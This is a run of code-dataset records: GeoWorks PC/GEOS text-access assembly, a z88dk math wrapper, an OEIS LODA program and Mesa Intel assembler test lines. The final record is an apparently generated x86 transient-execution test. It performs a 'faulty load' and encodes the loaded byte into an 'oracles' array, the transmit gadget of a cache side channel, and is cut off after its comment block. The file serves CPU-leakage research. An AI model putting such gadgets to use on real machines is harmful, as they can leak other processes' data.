] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1991 -- All Rights Reserved
PROJECT: PC GEOS
MODULE:
FILE: tsAccess.asm
AUTHOR: John Wedgwood, Nov 19, 1991
ROUTINES:
Name Description
---- -----------
GLBL TS_GetTextSize Get the number of bytes of text
GLBL TS_LockTextPtr Get a pointer to the text into ds:si
GLBL TS_LockTextPtrESDI Get a pointer to the text into es:di
GLBL TS_UnlockTextPtr Release the text block
GLBL TS_CheckLegalChange Check that a change is a legal one
GLBL TS_GetCharAtOffset Get the character at a given offset
GLBL TS_GetTextRange Get a range of text into a buffer
INT CallStorageHandler Call a handler for small or large objects
REVISION HISTORY:
Name Date Description
---- ---- -----------
John 11/19/91 Initial revision
DESCRIPTION:
Routines to access text.
$Id: tsExternal.asm,v 1.1 97/04/07 11:22:29 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
Text segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TS_CheckLegalChange
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Make sure that a change won't result in the size of the
text object becoming too large.
CALLED BY: Global
PASS: *ds:si = Instance
ss:bp = VisTextReplaceParameters
RETURN: carry set if the change is legal
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 11/21/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TS_CheckLegalChange proc far
uses di
.enter
EC < call T_AssertIsVisText >
mov di, TSV_CHECK_LEGAL_CHANGE
call CallStorageHandler
.leave
ret
TS_CheckLegalChange endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TS_LockTextPtrESDI
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get a pointer to the text into es:di
CALLED BY: Global
PASS: *ds:si = Text object instance
dx.ax = Offset into the text to get
RETURN: es:di = Pointer to text at that offset
ax = Number of valid characters after ptr
(including char at ptr)
cx = Number of valid characters before ptr
(including char at ptr)
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 11/19/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TS_LockTextPtrESDI proc far uses ds, si
.enter
call TS_LockTextPtr
segmov es, ds
mov di, si
.leave
ret
TS_LockTextPtrESDI endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TS_GetTextRange
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get a range of text into a buffer.
CALLED BY: Global
PASS: *ds:si = Instance ptr
ss:bx = VisTextRange filled in
ss:bp = TextReference entirely filled in
RETURN: dx.ax = Number of chars actually copied
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
The range must be valid and there must be characters to copy in it.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 11/22/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TS_GetTextRange proc far
uses di
.enter
EC < call T_AssertIsVisText >
mov di, TSV_GET_TEXT_RANGE
call CallStorageHandler
.leave
ret
TS_GetTextRange endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TS_ReplaceRange
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Replace a range of text.
CALLED BY: Global
PASS: *ds:si = Instance ptr
ss:bp = VisTextReplaceParameters
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 11/19/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TS_ReplaceRange proc far
uses di
.enter
EC < call T_AssertIsVisText >
mov di, TSV_REPLACE_RANGE
call CallStorageHandler
.leave
ret
TS_ReplaceRange endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TS_FindStringInText
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Find a string in a text object.
CALLED BY: Global
PASS: *ds:si = Instance ptr
bx.cx = Offset to char in text object to begin searcn
dx.ax = Offset into text object of last char to include
in search
es = Segment address of SearchReplaceStruct
RETURN: carry set if string not found
dx.ax = Offset to start of string found
bp.cx = Number of characters which matched
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 11/26/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TS_FindStringInText proc far uses di, bx
.enter
mov di, TSV_FIND_STRING_IN_TEXT
call CallStorageHandler
.leave
ret
TS_FindStringInText endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CallStorageHandler
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Call a handling routine for a text-storage routine
CALLED BY: TS_*
PASS: *ds:si = Text object instance
di = TextStorageVariant
other registers set for the handler
RETURN: registers set by the handler
flags set by the handler
DESTROYED: di if not returned by handler
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 11/19/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CallStorageHandler proc far
class VisTextClass
;
; Choose the routine to call based on the
;
push si
mov si, ds:[si]
add si, ds:[si].Vis_offset ; ds:si <- instance ptr
;
; Choose a table to use for calling the appropriate handler
;
; ds:si = Instance ptr.
;
test ds:[si].VTI_storageFlags, mask VTSF_LARGE
pop si
jz smallObject ; Branch if small format
add di, offset cs:LargeStorageHandlers
jmp di
smallObject:
add di, offset cs:SmallStorageHandlers
jmp di
;-----------------------------------------------------------------------------
;
; These are tables of handlers for each TextStorageVariant.
; There is one table for the "small" text object and one for the "large".
;
; These tables must have entries in the same order as the definition for
; TextStorageVariant in tsConstant.def.
;
SmallStorageHandlers:
DefTextCall SmallReplaceRange ; REPLACE_RANGE
DefTextCall SmallCheckLegalChange ; CHECK_LEGAL_CHANGE
DefTextCall SmallGetTextRange ; GET_TEXT_RANGE
DefTextCall SmallFindStringInText ; FIND_STRING_IN_TEXT
EC < DefTextCall ECSmallCheckVisTextReplaceParameters ; CHECK_PARAMS>
; TextCallPlaceHolder SmallGetTextSize ; GET_TEXT_SIZE
; TextCallPlaceHolder SmallLockTextPtr ; LOCK_TEXT_PTR
; TextCallPlaceHolder SmallUnlockTextPtr ; UNLOCK_TEXT_PTR
; TextCallPlaceHolder SmallGetCharAtOffset ; GET_CHAR_AT_OFFSET
; TextCallPlaceHolder SmallNextCharInClass ; NEXT_CHAR_IN_CLASS
; TextCallPlaceHolder SmallPrevCharInClass ; PREV_CHAR_IN_CLASS
;-----------------------------------------------------------------------------
LargeStorageHandlers:
DefTextCall LargeReplaceRange ; REPLACE_RANGE
DefTextCall LargeCheckLegalChange ; CHECK_LEGAL_CHANGE
DefTextCall LargeGetTextRange ; GET_TEXT_RANGE
DefTextCall LargeFindStringInText ; FIND_STRING_IN_TEXT
EC < DefTextCall ECLargeCheckVisTextReplaceParameters ; CHECK_PARAMS>
; TextCallPlaceHolder LargeGetTextSize ; GET_TEXT_SIZE
; TextCallPlaceHolder LargeLockTextPtr ; LOCK_TEXT_PTR
; TextCallPlaceHolder LargeUnlockTextPtr ; UNLOCK_TEXT_PTR
; TextCallPlaceHolder LargeGetCharAtOffset ; GET_CHAR_AT_OFFSET
; TextCallPlaceHolder LargeNextCharInClass ; NEXT_CHAR_IN_CLASS
; TextCallPlaceHolder LargePrevCharInClass ; PREV_CHAR_IN_CLASS
CallStorageHandler endp
Text ends
;****************************************************************************
; Fixed Routines
;****************************************************************************
TextFixed segment
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TS_GetTextSize
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get the number of bytes of text in the text object.
CALLED BY: Global
PASS: *ds:si = Text object instance
RETURN: dx.ax = Number of bytes of text
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 11/19/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TS_GetTextSize proc far
class VisTextClass
uses di
.enter
EC < call T_AssertIsVisText >
mov di, ds:[si]
add di, ds:[di].Vis_offset ; ds:di <- instance ptr
test ds:[di].VTI_storageFlags, mask VTSF_LARGE
jnz isLargeObject
call SmallGetTextSize
quit:
.leave
ret
isLargeObject:
call LargeGetTextSize
jmp quit
TS_GetTextSize endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TS_LockTextPtr
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get a pointer to the text into ds:si
CALLED BY: Global
PASS: *ds:si = Text object instance
dx.ax = Offset into the text to get
RETURN: ds:si = Pointer to text at that offset
ax = Number of valid characters after ptr
(includes char at ptr)
cx = Number of valid characters before ptr
(includes char at ptr)
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 11/19/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TS_LockTextPtr proc far
class VisTextClass
uses di
.enter
EC < call T_AssertIsVisText >
mov di, ds:[si]
add di, ds:[di].Vis_offset ; ds:di <- instance ptr
test ds:[di].VTI_storageFlags, mask VTSF_LARGE
jnz isLargeObject
call SmallLockTextPtr
quit:
EC < tst cx >
EC < ERROR_Z TS_LOCK_TEXT_PTR_INVALID_RETURN_VALUE >
EC < cmp cx, 20000 >
EC < ERROR_AE TS_LOCK_TEXT_PTR_INVALID_RETURN_VALUE >
.leave
ret
isLargeObject:
call LargeLockTextPtr
jmp quit
TS_LockTextPtr endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TS_UnlockTextPtr
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Unlock a block of text.
CALLED BY: Global
PASS: *ds:si = Text object instance
ax = Segment address of the text block
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 11/19/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TS_UnlockTextPtr proc far
class VisTextClass
uses di
.enter
EC < call T_AssertIsVisText >
mov di, ds:[si]
add di, ds:[di].Vis_offset ; ds:di <- instance ptr
test ds:[di].VTI_storageFlags, mask VTSF_LARGE
jnz isLargeObject
call SmallUnlockTextPtr
quit:
.leave
ret
isLargeObject:
call LargeUnlockTextPtr
jmp quit
TS_UnlockTextPtr endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TS_IsCharInClass
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Check to see if a character is in a given class.
CALLED BY: Global
PASS: ax = Character
bx = CharacterClass
RETURN: Zero flag clear (nz) if the character is in the class
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 11/25/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TS_IsCharInClass proc far
call IsCharInClass
ret
TS_IsCharInClass endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TS_IsCharAtOffsetInClass
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Determine if the character at an offset is in a given class.
CALLED BY: Global
PASS: *ds:si = Instance ptr
dx.ax = Offset of character
bx = CharacterClass
RETURN: Zero flags clear (nz) if character at offset is in class
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 11/25/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TS_IsCharAtOffsetInClass proc far
uses ax
.enter
call TS_GetCharAtOffset ; ax <- character at offset
call TS_IsCharInClass ; Zero flag clear (nz) if in class
.leave
ret
TS_IsCharAtOffsetInClass endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TS_GetCharAtOffset
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get the character at a given offset.
CALLED BY: Global
PASS: *ds:si = Instance ptr
dx.ax = Offset of character to get
RETURN: ax = Character
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 11/22/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TS_GetCharAtOffset proc far
class VisTextClass
uses di
.enter
EC < call T_AssertIsVisText >
mov di, ds:[si]
add di, ds:[di].Vis_offset ; ds:di <- instance ptr
test ds:[di].VTI_storageFlags, mask VTSF_LARGE
jnz isLargeObject
call SmallGetCharAtOffset
quit:
.leave
ret
isLargeObject:
call LargeGetCharAtOffset
jmp quit
TS_GetCharAtOffset endp
TextFixed ends
;----
PrintMessage <JOHN: Check resource segmentation here>
TextSelect segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TS_NextCharInClass
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Move to the next character of a given class.
CALLED BY: Global
PASS: *ds:si = Instance ptr
dx.ax = Offset of to start at
bx = CharacterClass
RETURN: dx.ax = Offset of next character of this class
carry set if there is no next character in this
class.
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 11/25/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TS_NextCharInClass proc far
class VisTextClass
uses di
.enter
EC < call T_AssertIsVisText >
mov di, ds:[si]
add di, ds:[di].Vis_offset ; ds:di <- instance ptr
test ds:[di].VTI_storageFlags, mask VTSF_LARGE
jnz isLargeObject
call SmallNextCharInClass
quit:
.leave
ret
isLargeObject:
call LargeNextCharInClass
jmp quit
TS_NextCharInClass endp
if DBCS_PCGEOS
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TS_GetWordPartAtOffset
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get the WordPartType at the given offset
CALLED BY: Global
PASS: *ds:si = instance ptr
dx:ax = offset of character
RETURN: bh = WordPartType
DESTROYED: none
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
gene 5/ 2/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TS_GetWordPartAtOffset proc far
uses ax
.enter
call TS_GetCharAtOffset ;ax <- character
call LocalGetWordPartType
CheckHack <WordPartType lt 256>
mov bh, al ;bh <- WordPartType
.leave
ret
TS_GetWordPartAtOffset endp
endif
TextSelect ends
TextFixed segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TS_PrevCharInClass
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Move to the previous character of a given class.
CALLED BY: Global
PASS: *ds:si = Instance ptr
dx.ax = Offset to start at
bx = CharacterClass
RETURN: dx.ax = Offset of previous character in this class
carry set if there is no previous character in this class
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 11/25/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TS_PrevCharInClass proc far
class VisTextClass
uses di
.enter
EC < call T_AssertIsVisText >
mov di, ds:[si]
add di, ds:[di].Vis_offset ; ds:di <- instance ptr
test ds:[di].VTI_storageFlags, mask VTSF_LARGE
jnz isLargeObject
call SmallPrevCharInClass
quit:
.leave
ret
isLargeObject:
call LargePrevCharInClass
jmp quit
TS_PrevCharInClass endp
TextFixed ends
TextObscure segment resource
COMMENT @----------------------------------------------------------------------
FUNCTION: TS_GetWordCount
DESCRIPTION: Get the word count
CALLED BY: INTERNAL
PASS:
*ds:si - text object
RETURN:
dxax - word count
DESTROYED:
none
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 9/29/92 Initial version
------------------------------------------------------------------------------@
TS_GetWordCount proc far uses bx, cx, di
.enter
clrdw cxdi ;counter
clrdw dxax ;offset
if DBCS_PCGEOS
;
; In DBCS "words" are runs of consecutive runs of the same
; WordPartType. For English, this means runs of spaces and
; non-spaces; for Japanese it means runs of hiragana, katakana
; and Kanji as well.
;
mov bl, CC_WORD_PART_MISMATCH ;bl <- count word parts
countLoop:
call TS_GetWordPartAtOffset ;bh <- WordPartType
cmp bh, WPT_PUNCTUATION ;punctuation?
je notWord ;don't count punctuation
cmp bh, WPT_SPACE ;space?
je notWord ;don't count spaces
incdw cxdi ;cxdi <- 1 more word
notWord:
call TS_NextCharInClass
jnc countLoop ;branch if more chars
else
countLoop:
mov bx, CC_WORD_PART
call TS_NextCharInClass
jc done
incdw cxdi
mov bx, CC_NOT_WORD_PART
call TS_NextCharInClass
jnc countLoop
done:
endif
movdw dxax, cxdi
.leave
ret
TS_GetWordCount endp
TextObscure ends
| 24.874046 | 80 | 0.563654 |
d40f2d924dddeb92ab08718da600763da2a99c51 | 252 | asm | Assembly | libsrc/_DEVELOPMENT/math/float/math48/c/sdcc_iy/cm48_sdcciy_expm1.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/math/float/math48/c/sdcc_iy/cm48_sdcciy_expm1.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/math/float/math48/c/sdcc_iy/cm48_sdcciy_expm1.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
; float expm1(float x)
SECTION code_clib
SECTION code_fp_math48
PUBLIC cm48_sdcciy_expm1
EXTERN cm48_sdcciy_expm1_fastcall
cm48_sdcciy_expm1:
pop af
pop hl
pop de
push de
push hl
push af
jp cm48_sdcciy_expm1_fastcall
| 11.454545 | 33 | 0.738095 |
55cac88066f4cfbbbbfd6db007f5e3550cdd8db4 | 594 | asm | Assembly | oeis/180/A180415.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/180/A180415.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/180/A180415.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A180415: (n^3 - 3n^2 + 14n - 6)/6.
; 1,3,6,11,19,31,48,71,101,139,186,243,311,391,484,591,713,851,1006,1179,1371,1583,1816,2071,2349,2651,2978,3331,3711,4119,4556,5023,5521,6051,6614,7211,7843,8511,9216,9959,10741,11563,12426,13331,14279,15271,16308,17391,18521,19699,20926,22203,23531,24911,26344,27831,29373,30971,32626,34339,36111,37943,39836,41791,43809,45891,48038,50251,52531,54879,57296,59783,62341,64971,67674,70451,73303,76231,79236,82319,85481,88723,92046,95451,98939,102511,106168,109911,113741,117659,121666,125763,129951
mov $1,$0
pow $0,2
add $0,11
mul $0,$1
div $0,6
add $0,1
| 59.4 | 498 | 0.760943 |
5a51f7a0a03457875f0e799404e87b4151cc45c9 | 476 | asm | Assembly | src/intel/tools/tests/gen7/break.asm | PWN-Hunter/mesa3d | be12e189989e3476d7c9d40e1c0c3a35143ee51a | [
"MIT"
] | null | null | null | src/intel/tools/tests/gen7/break.asm | PWN-Hunter/mesa3d | be12e189989e3476d7c9d40e1c0c3a35143ee51a | [
"MIT"
] | null | null | null | src/intel/tools/tests/gen7/break.asm | PWN-Hunter/mesa3d | be12e189989e3476d7c9d40e1c0c3a35143ee51a | [
"MIT"
] | null | null | null | break(8) JIP: 2 UIP: 40 { align1 1Q };
break(16) JIP: 2 UIP: 48 { align1 1H };
(+f0.0.x) break(8) JIP: 110 UIP: 110 { align16 1Q };
(+f0.0) break(8) JIP: 2 UIP: 12 { align1 1Q };
(+f0.0) break(16) JIP: 2 UIP: 12 { align1 1H };
break(8) JIP: 2 UIP: 38 { align16 1Q };
| 68 | 79 | 0.32563 |
f51b712171305bdaf9e3252a4f188c1b5f031c50 | 6,063 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_zr_/i7-8650U_0xd2.log_20286_648.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_zr_/i7-8650U_0xd2.log_20286_648.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_zr_/i7-8650U_0xd2.log_20286_648.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r15
push %r8
push %r9
push %rdi
push %rdx
lea addresses_WC_ht+0x11282, %r13
cmp %r12, %r12
mov (%r13), %di
nop
nop
nop
nop
add %r12, %r12
lea addresses_UC_ht+0x14082, %r12
nop
nop
nop
nop
add %rdx, %rdx
mov $0x6162636465666768, %r15
movq %r15, (%r12)
nop
nop
nop
nop
nop
add %r12, %r12
lea addresses_D_ht+0x7dc2, %r15
and %r8, %r8
mov (%r15), %dx
nop
nop
nop
nop
nop
sub %r8, %r8
lea addresses_UC_ht+0x17382, %r8
nop
nop
nop
nop
and $64861, %r15
mov $0x6162636465666768, %r12
movq %r12, (%r8)
nop
nop
dec %rdi
lea addresses_WC_ht+0xfd62, %r15
xor %r9, %r9
mov $0x6162636465666768, %r13
movq %r13, %xmm4
movups %xmm4, (%r15)
add $12328, %rdi
pop %rdx
pop %rdi
pop %r9
pop %r8
pop %r15
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r8
push %rax
push %rbp
push %rcx
push %rdx
// Store
lea addresses_US+0x2982, %r11
clflush (%r11)
nop
nop
nop
nop
nop
sub %r8, %r8
movb $0x51, (%r11)
nop
nop
xor $53239, %r8
// Store
lea addresses_US+0x1e9e2, %rcx
nop
nop
nop
nop
dec %rdx
movw $0x5152, (%rcx)
nop
nop
add %r8, %r8
// Store
lea addresses_RW+0x17e7a, %r12
nop
nop
sub %rbp, %rbp
movb $0x51, (%r12)
nop
sub %r8, %r8
// Store
lea addresses_UC+0x9ae2, %r11
nop
nop
dec %rdx
movw $0x5152, (%r11)
nop
nop
nop
nop
nop
cmp %rcx, %rcx
// Faulty Load
lea addresses_US+0x2982, %r11
nop
nop
nop
nop
sub %rcx, %rcx
vmovaps (%r11), %ymm2
vextracti128 $0, %ymm2, %xmm2
vpextrq $1, %xmm2, %rdx
lea oracles, %rcx
and $0xff, %rdx
shlq $12, %rdx
mov (%rcx,%rdx,1), %rdx
pop %rdx
pop %rcx
pop %rbp
pop %rax
pop %r8
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 16, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_US', 'size': 1, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_US', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'size': 1, 'AVXalign': False, 'NT': True, 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'size': 2, 'AVXalign': False, 'NT': True, 'congruent': 2, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 32, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
